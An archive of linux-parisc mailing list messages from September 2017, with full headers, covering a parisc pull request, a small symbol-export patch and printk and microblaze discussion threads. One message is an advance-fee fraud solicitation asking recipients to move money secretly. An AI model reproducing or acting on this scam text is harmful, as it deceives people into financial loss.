	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dvfeh-00035e-Ls
	for glpp-linux-parisc@m.gmane.org; Sat, 23 Sep 2017 10:19:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750848AbdIWIT0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 23 Sep 2017 04:19:26 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:64788 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750839AbdIWITX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 23 Sep 2017 04:19:23 -0400
Original-Received: from p100.box ([91.36.201.77]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MfW5D-1dkRP512QF-00P5kk; Sat, 23
 Sep 2017 10:19:16 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:KwlPXtbwqX99FE60yMGKEXndRIA3BZRMI7Xdvp2dmXibpoLLnAY
 dnAeMwQq5YpGeYHQKl5E1+WBWehV7Q9r9WDBX95GPtbBfqXdRmtLWSvql+8gm9w8OmFERrb
 B2IasNWjveBk5AXICUwCdmIYiE7hEtUbkQzNjc0R1LVG0Bk1Xq38jRkGNvhTnMVtEcCM5YG
 stU8hZ7owTtko7ibsobDQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:MnUjZCHSq9w=:drfGhaIH+l7w9fC0cu+UZl
 6XoHoha5YaE32P+zDrTR3aTX5f8pNMX+MMQ085TS5iSWLzmzmJAm9AE4D1rYlXHocrgB2EiUy
 M9PdPPQcjqrb+3KaKMYPJvGokDAZ9NIFVMxybohplU/3zUX7P7zptjDpSt9rMWQZLbCUF+d04
 Ttdh0F1Rw7LvLwf5GxNmu3TAeHkcIudUx5Zwc96dZ5q6Q5aPUIGVv9ynLE99cuPY+dBv5tQye
 YuD+NM/yT6YvjxVb/lUxypDC6L5aB4yQRVSUfRo2WpMU1UCm1fUKwtUyzk6H6K7S3/vSY4She
 dJTQEopeq6JUWF70fWwuu8goSHvuwq1gZVrKCeYu49HqNrpktgxkgd5ZVex905GYAt+9Jhtbs
 +PMcDXXnubogduWf3IgKmKUPxi4YtfKaxMXeeR3MdZ0xesKDqWv5BW5EhGf/Bt3lHOEtP69aI
 NovK1h9MskzN1Yj114n9xHJ1bxQHO7vTH5pWxl9CL6SYiyBl6OHfQ+Vw8AzbD+MI4uFxmtWH2
 xZnbljgov/CX0zU+LEjT17IYphHsDn1KEvU2DDDbloXAFHWztAqnVtvlSvgljnkmwNA9w5E8z
 rPd6j2VFnADnQUX1tfkJy9TQvhUYAjJb9ncjlNxaqrrkGJkVGQFi3Fg9XA97G5SKMWfFx+Qqm
 NOf/VqeaVGiTnNULurKgiY4enIjDA9kDGKeQqaLFOTA18wDXZrnQhbfBY2/pU3fcfSZ/C2BIw
 wnVv7c1JBn9l0NuTgGlhXdI9A4b94b7bIWPtue+qJb4wcHFMseN9pdnLSpgEPKouzitRuDOq 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27857 gmane.linux.kernel:2576338
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27857>

Hi Linus,

please pull fixes for the parisc architecture for kernel 4.14-rc2 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.14-2

Changelog:

- Unbreak parisc bootloader by avoiding a gcc-7 optimization to convert
  multiple byte-accesses into one word-access.

- Add missing HWPOISON page fault handler code. I completely missed that when I
  added HWPOISON support during this merge window and it only showed up now
  with the madvise07 LTP test case.

- Fix backtrace unwinding to stop when stack start has been reached.

- Issue warning if initrd has been loaded into memory regions with broken RAM
  modules.

- Fix HPMC handler (parisc hardware fault handler) to comply with architecture
  specification.

- Avoid compiler warnings about too large frame sizes.

- Minor init-section fixes.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (10):
      parisc: Fix too large frame size warnings
      parisc: Stop unwinding at start of stack
      parisc: Move start_parisc() into init section
      parisc: Add wrapper for pdc_instr() firmware function
      parisc: Add PDCE_CHECK instruction to HPMC handler
      parisc: Check if initrd was loaded into broken RAM
      parisc: Move init_per_cpu() into init section
      parisc: Add HWPOISON page fault handler code
      parisc: Reintroduce option to gzip-compress the kernel
      parisc: Unbreak bootloader due to gcc-7 optimizations

 arch/parisc/Kconfig                  | 12 ++++++++++++
 arch/parisc/Makefile                 |  5 +++++
 arch/parisc/boot/compressed/Makefile |  2 +-
 arch/parisc/boot/compressed/misc.c   |  3 ++-
 arch/parisc/include/asm/pdc.h        |  1 +
 arch/parisc/include/asm/smp.h        |  1 +
 arch/parisc/kernel/firmware.c        | 20 ++++++++++++++++++++
 arch/parisc/kernel/pdt.c             |  9 +++++++++
 arch/parisc/kernel/processor.c       |  2 +-
 arch/parisc/kernel/setup.c           |  6 +++---
 arch/parisc/kernel/smp.c             |  3 +--
 arch/parisc/kernel/traps.c           | 10 +++++++++-
 arch/parisc/kernel/unwind.c          | 12 ++++++++++++
 arch/parisc/mm/fault.c               | 33 +++++++++++++++++++++++++++++----
 lib/Kconfig.debug                    |  3 ++-
 15 files changed, 108 insertions(+), 14 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mr Soumaila Sorgho <nicolemarois7410@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Greetings From Mr. Soumaila Sorgho
Date: Sun, 24 Sep 2017 00:28:45 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <CAEPXuGP_S1nzOuCb92T8n+CdQLo_m87=bkNTKma0apv7oMyY3w__48521.0973224186$1506212944$gmane$org@mail.gmail.com>
Reply-To: soumailasorgho@yandex.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1506212944 22104 195.159.176.226 (24 Sep 2017 00:29:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 24 Sep 2017 00:29:04 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 24 02:28:51 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dvumu-0004pF-Es
	for glpp-linux-parisc@m.gmane.org; Sun, 24 Sep 2017 02:28:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751875AbdIXA2s (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 23 Sep 2017 20:28:48 -0400
Original-Received: from mail-vk0-f68.google.com ([209.85.213.68]:36593 "EHLO
        mail-vk0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751626AbdIXA2q (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 23 Sep 2017 20:28:46 -0400
Original-Received: by mail-vk0-f68.google.com with SMTP id w23so1111828vkw.3
        for <linux-parisc@vger.kernel.org>; Sat, 23 Sep 2017 17:28:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:reply-to:from:date:message-id:subject:to;
        bh=U7RBm4UGWZidO6teEx5uXUfQbz4C4oxwGaw9FHu9bvY=;
        b=T7qkQonzWrN99yhK0oivwr0v2jIcb8oQHSuk/ncRe41MLNl495IGRYx7hXGHe2TEkT
         HE/ApjgAn3mfvRinfRfazg5aAX4cejb8kEGh4b7ayMQC9Spn8L+oY6T231aHNdFnYI5o
         wIKa2JXyA6R29Wvtf5FKPQrG3MM2uyGEMWK4PZ3QBfCUDGPDFXMUM4mwDM0+j/1L9cUs
         EgsQjyy2xpsewR2fhlzHXDPOekDxtogiWYC+INUaBK3hkGtZLwDs6mgHt9cHH1uchAbA
         qtQRTiLJE4ECa0BLiOy7QRr1nNITnkSpLSbHXENGS3/25b9oUMOSGFY5Tz7zHv6Q9WSy
         bBWA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:reply-to:from:date:message-id
         :subject:to;
        bh=U7RBm4UGWZidO6teEx5uXUfQbz4C4oxwGaw9FHu9bvY=;
        b=DHadlboXxgXH/XfGp+sQp+EMI11MhU52tWVLTnZB/f+Gp8mGSr/Xbpq8naprwDpjDj
         kGXK02q/bUlITco5v5HbHnS0zOKOOs/M8PDF7hRidLtIY19uSak2yMYO/2K1NGsPpRoH
         3XqdyLlXiUb/kQeSuzdKAejEpFQ08CR5h97qJH4NUzuz7NqLD7gJTvx4wUTp35E0yqA4
         VoQOEhw6kQjW/wLyoa2D5/+mRevtzdIS4v3Mogayl8mMCZu1+YYrL5UPalLifEM/DvV1
         LCSq8PbrHntUTEknkSLoZ+NCnzLvNWQSOUVu/LmK2qCtGFtqHsiWApQTn+RTb0QqlO33
         W83A==
X-Gm-Message-State: AHPjjUjdD1PpA0dacKbR4+bSiq+RyLeANEHd50zzwhUdTgLKDLOyEdwK
        Vdt4/wkBZTx+9/giReosBKfiSWDFTyZXD5Mg5tM=
X-Google-Smtp-Source: AOwi7QCiWo9BZr5ayB/W4iqAR3mQkddifJs4dtbQiv5d4hI2S0r0sCazFdwaJ1/Zb9/el0pv0qV68UtbBglwqk3zL74=
X-Received: by 10.31.1.66 with SMTP id 63mr3010895vkb.24.1506212925923; Sat,
 23 Sep 2017 17:28:45 -0700 (PDT)
Original-Received: by 10.31.2.67 with HTTP; Sat, 23 Sep 2017 17:28:45 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27858
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27858>

-- 
Greetings From Mr. Soumaila Sorgho

	I have a Mutual/Beneficial Business Project that would be beneficial
to you. I only have two questions to ask of you, if you are
interested.

1. Can you handle this project?
2. Can I give you this trust?

Please note that the deal requires high level of maturity, honesty and
secrecy. This will involve moving some money from my office, on trust
to your hands or bank account. Also note that i will do everything to
make sure that the money is moved as a purely legitimate fund, so you
will not be exposed to any risk.

I request for your full co-operation. I will give you details and
procedure when I receive your reply, to commence this transaction, I
require you to immediately indicate your interest by a return reply. I
will be waiting for your response in a timely manner.

Contact  Email: soumailasorgho@yandex.com
Best Regard,
Mr. Soumaila Sorgho
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: Export __cmpxchg_u64 unconditionally
Date: Sun, 24 Sep 2017 10:28:09 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <1506274089-28269-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1506274094 19149 195.159.176.226 (24 Sep 2017 17:28:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 24 Sep 2017 17:28:14 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org, Guenter Roeck <linux@roeck-us.net>
To: "James E . J . Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Sep 24 19:28:09 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dwAhM-0004dc-HU
	for glk-linux-kernel-3@m.gmane.org; Sun, 24 Sep 2017 19:28:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752726AbdIXR2O (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sun, 24 Sep 2017 13:28:14 -0400
Original-Received: from mail-pf0-f194.google.com ([209.85.192.194]:35192 "EHLO
        mail-pf0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752624AbdIXR2M (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 24 Sep 2017 13:28:12 -0400
Original-Received: by mail-pf0-f194.google.com with SMTP id i23so2674071pfi.2;
        Sun, 24 Sep 2017 10:28:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=sender:from:to:cc:subject:date:message-id;
        bh=DLALj77uqItQLyHri0E55Zy6alKzOlRad4LG6EvIn58=;
        b=CYIpv6QfA5yYgBJSihlHUXsCfa0646VfLtau96U8+xhVgXyByUY7Qslc657tqCrA+S
         Nre3rrDGZ04aMlZrqSWjqQtLPX1cejeVMCxKUtigAN1NnN7mXF+3t4S2AJj13GD3M8cl
         IK99b9CGiJ71xseRuedl/4sdEWmvg5j2bAzbIohvvcUj3vPAMq9Z8VoeNZyRsyuAPrre
         UoQrRlBsq4e/6BYJsol0yEvz8CIkB+BoWq2Ixk94gBtI8BNd1uMiFAJG4djkISPSiupQ
         M2oSTKIKNt2Mi7nlNAVkZjj5qweqRDEnggoVxAnh58+6sTVas6bry0Pa0v7rRFQypytR
         HRtg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:from:to:cc:subject:date:message-id;
        bh=DLALj77uqItQLyHri0E55Zy6alKzOlRad4LG6EvIn58=;
        b=TwpDAnopr/jMRUk8fdFyvRAZxIgNEz8XsfW16G1HLVdYaktly9UyXvjAZ0WOKNq7gP
         VhjrppqUiNTWX8Vaqv1B+TG+HMBizXIMUFrJEJZuNDtoJTDyoWsjmbvwvaUegwlipL2d
         fBbkz6AAYc7u9rIU2g3b8BnrmTM1TH7cansJfkDMlYjRdzxZvLgH02lsnZIvB0ZvEIM0
         6IkDOXsGAM9/N7r28vdHuXArFRSYHAL6kEFmjWUkl4Kn+PulEQYPyifR/ioRCsHIgLvX
         hx3W4IL1vWpUBdm0VpvinmItcJ4Rn9TgJid1I9flkxe8V9AXy8i5BBYGS+Uf5vRus8FR
         owXw==
X-Gm-Message-State: AHPjjUij3b3t9YOfhQuDZnyvOQLqMw5znH5VHybC5PZGrt+rYxp8pCRZ
        bXgapY/Mg7qt1vhAEJqgqys=
X-Google-Smtp-Source: AOwi7QCqJ/cNhhGmhw88hqyH7aGY+zT5gbipQedf2BI9OclJP+BJvgMFhDFmJSAm3Vakur8Sh2GMzw==
X-Received: by 10.84.131.100 with SMTP id 91mr5222403pld.247.1506274091970;
        Sun, 24 Sep 2017 10:28:11 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by smtp.gmail.com with ESMTPSA id m15sm7291403pfh.35.2017.09.24.10.28.11
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sun, 24 Sep 2017 10:28:11 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2576605 gmane.linux.ports.parisc:27859
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2576605>

__cmpxchg_u64 is built and used outside CONFIG_64BIT and thus needs
to be exported. This fixes the following build error seen when building
parisc:allmodconfig.

ERROR: "__cmpxchg_u64" [drivers/net/ethernet/intel/i40e/i40e.ko] undefined!

Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/parisc/kernel/parisc_ksyms.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index c6d6272a934f..7baa2265d439 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -35,12 +35,12 @@ EXPORT_SYMBOL(memset);
 EXPORT_SYMBOL(__xchg8);
 EXPORT_SYMBOL(__xchg32);
 EXPORT_SYMBOL(__cmpxchg_u32);
+EXPORT_SYMBOL(__cmpxchg_u64);
 #ifdef CONFIG_SMP
 EXPORT_SYMBOL(__atomic_hash);
 #endif
 #ifdef CONFIG_64BIT
 EXPORT_SYMBOL(__xchg64);
-EXPORT_SYMBOL(__cmpxchg_u64);
 #endif
 
 #include <linux/uaccess.h>
-- 
2.7.4



From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Mon, 25 Sep 2017 16:05:42 +0900
Lines: 27
Approved: news@gmane.org
Message-ID: <20170925070542.GA387@jagdpanzerIV.localdomain>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <20170922053404.3zpfpwetabjut2er@santosiv.in.ibm.com>
 <20170922080023.GA599@jagdpanzerIV.localdomain>
 <3908561D78D1C84285E8C5FCA982C28F61381992@ORSMSX114.amr.corp.intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506323151 16201 195.159.176.226 (25 Sep 2017 07:05:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 25 Sep 2017 07:05:51 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Santosh Sivaraj <santosh@fossix.org>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        "Yu, Fenghua" <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
        "linux-kernel@vger.ker
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 25 09:05:44 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dwNSZ-0003j9-Tp
	for glk-linux-kernel-3@m.gmane.org; Mon, 25 Sep 2017 09:05:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932984AbdIYHFt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 25 Sep 2017 03:05:49 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:35376 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932517AbdIYHFr (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 25 Sep 2017 03:05:47 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id i23so3263488pfi.2;
        Mon, 25 Sep 2017 00:05:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=dVaYJrSY8hrUF1HVG7s7nIWk1heGXqY0zxEEGlP7O2E=;
        b=hS0K9qjFQ3Eol+Y961UCvQ4Drx/GPx3ukdmYi1fLNHffwrvg+EOxKYxmuNumr2H6MG
         ajFHtq892RK59n/wUhKzIBxt7He9K0G4jPn1hPT+0ZawJyJd5ui4FkMhTzmxnCT+QZvv
         J9/SpXZvXqP6HrWxmKzShprcnLpRNnaXULrKNqejy/2lXnKn910OlELxtd1T1tXcMs+W
         9Oh/LH7tpWMcIvCl3UUrAssBKWr0qY+8oXWfD0X0mMZkNhjNl9erzf/yICVTV5hlfm+3
         OIp48zK5ppfxiY/GrjFgF3SOtYdqGoIv/cWwF+eijRfGXAmUS9IhD0CyZm5+xBg0f/Bq
         9WqA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=dVaYJrSY8hrUF1HVG7s7nIWk1heGXqY0zxEEGlP7O2E=;
        b=Aaj57dPXwa0sYZG63biF/Ci4V47Fte5qDxPShbEDKGW8D3U554X9VGI9khRDb3MXgM
         tLRpz6IeCloo187v4zH20QnxeDqErC+f5j3pNBi/gBvgnaG4d5yu4iBikCvBp3Sf98BA
         rMFQkSgvCChzB2/tEi6+uuUDmnz+HJ8qn7R4PWrQzE6HD4fviarfSBYGqjX3hJT0v50a
         1ZvMfbQ26qqt4PZHXVo+pACjfWEz48D9LpeK71Jv9QXEBhHqVB02eWmu8uIG2LXxevf4
         tW8s05/59XK01g/JDk+P/aohDwgnIIKHW9bJKJyXRNaREEITqWG1GAqxjuTeAGc0R0+a
         tDZA==
X-Gm-Message-State: AHPjjUh5CmfzXA1B+q5RMc8rp08wg2OitI4CsA9Edwt8VMQAuyIV85jN
        cR/7Jdbrk0aUnH2JtEvu2qo=
X-Google-Smtp-Source: AOwi7QBN+XhISwHNmtkrf8dUv1C8ikR2/batk+kK4KdWjs35V9GHH2whj77//Px6Uy04GvlpF739qA==
X-Received: by 10.99.52.130 with SMTP id b124mr6736116pga.372.1506323147151;
        Mon, 25 Sep 2017 00:05:47 -0700 (PDT)
Original-Received: from localhost ([175.223.2.172])
        by smtp.gmail.com with ESMTPSA id 13sm10140575pfm.138.2017.09.25.00.05.45
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 25 Sep 2017 00:05:45 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3908561D78D1C84285E8C5FCA982C28F61381992@ORSMSX114.amr.corp.intel.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2577154 gmane.linux.ports.ia64:28158 gmane.linux.ports.parisc:27860 gmane.linux.ports.ppc64.devel:148287
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2577154>

On (09/22/17 16:48), Luck, Tony wrote:
[..]
> Tested patch series on ia64 successfully.
> 
> Tested-by: Tony Luck <tony.luck@intel.com>

thanks!

> After this goes upstream, you should submit a patch to get rid of
> all uses of %pF (70 instances in 35 files) and %pf (63 in 34)
> 
> Perhaps break the patch by top-level directory (e.g. get all the %pF
> and %pF in the 17 files under drivers/ in one patch).

frankly, I was going to have some sort of a lazy deprecation process:
didn't plan to send out a patch set that would hunt down all pf/pF-s.
hm...


speaking of upstream, any objections if this patch set will go through
the printk tree, in one piece?

I'll wait for several more days and then resend v3 with updated
Documentation and tweaked checkpatch warning message.

	-ss


From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Simek <monstr@monstr.eu>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] arch: change default endian for microblaze
Date: Mon, 25 Sep 2017 15:37:00 +0200
Lines: 94
Approved: news@gmane.org
Message-ID: <192895e1-00d6-bc68-160b-7cbab3192737@monstr.eu>
References: <1505753609-602923-1-git-send-email-babu.moger@oracle.com>
 <1505753609-602923-3-git-send-email-babu.moger@oracle.com>
 <cf4bd066-b349-070a-ddf9-d6ae02f44cd7@monstr.eu>
 <e755625e-0b3a-4027-0754-4873fc8446b1@oracle.com>
Reply-To: monstr@monstr.eu
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
 protocol="application/pgp-signature";
 boundary="GJMajlcGALAWllo9lVqPIWxpOlAjl261v"
X-Trace: blaine.gmane.org 1506346641 20803 195.159.176.226 (25 Sep 2017 13:37:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 25 Sep 2017 13:37:21 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.3.0
Cc: sparclinux@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-parisc@vger.kernel.org
To: Babu Moger <babu.moger@oracle.com>, jejb@parisc-linux.org,
        deller@gmx.de, davem@davemloft.net, akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 25 15:37:16 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dwTZN-0004lw-9x
	for glk-linux-kernel-3@m.gmane.org; Mon, 25 Sep 2017 15:37:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S935733AbdIYNhO (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 25 Sep 2017 09:37:14 -0400
Original-Received: from mail-wm0-f67.google.com ([74.125.82.67]:36346 "EHLO
        mail-wm0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S934038AbdIYNhJ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 25 Sep 2017 09:37:09 -0400
Original-Received: by mail-wm0-f67.google.com with SMTP id r136so7174297wmf.3
        for <linux-kernel@vger.kernel.org>; Mon, 25 Sep 2017 06:37:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=monstr-eu.20150623.gappssmtp.com; s=20150623;
        h=reply-to:subject:to:cc:references:from:message-id:date:user-agent
         :mime-version:in-reply-to;
        bh=q1MXnSAij5bLuN6bmjhEBYif0ky6En4ldRElmfILum4=;
        b=SYudPe49xB5egrs5gUXg5Fmx/lfKv8W57AG6rWwKMv6AlFHEsaXwsizwMwuVcNAEZE
         rWNryO0yB8dS08FDCCk4KbAwNIOHHZduFiPiPeirDbvrLMRnmtgPdKvhftk2vnqEXLps
         oPZrb2v5Uq5nrVw6nItijGgB06TlUOXbRNvR+pMpAt8pQOdkvdKGhoeHSBkv4t/YlB8a
         /s+jAhkiVc/qZOMvqzV5+6d0Ofotwl7g8imD8Q9a8jZyLGeQvN5zmznq7vrX9lgKuvFM
         3kquLJqg5qzAZfbM5ABMj8zazcFqqHcHX/63I2b2gd1RbJzhOnyvbOlw4q+Z70E+vIf3
         hQmw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:reply-to:subject:to:cc:references:from
         :message-id:date:user-agent:mime-version:in-reply-to;
        bh=q1MXnSAij5bLuN6bmjhEBYif0ky6En4ldRElmfILum4=;
        b=jcFerjYvaM/GQRtkmjiv8hk4gD1r6lhJ1DGBHZ20ThC/6RdBbROfzre5D3usBCpS5P
         TQpSvPi7mZMW57HPimTLb3mBAJxQaIH4zQEcZBcSEPpYr2OdnJ8btCgErbmGzYKPBDKg
         k1+0zCyymx5rSJYhVPTlhkhKs+VhrU+TS5P233hUyAM15syXbHhSIF5klyJwWVtvNhnR
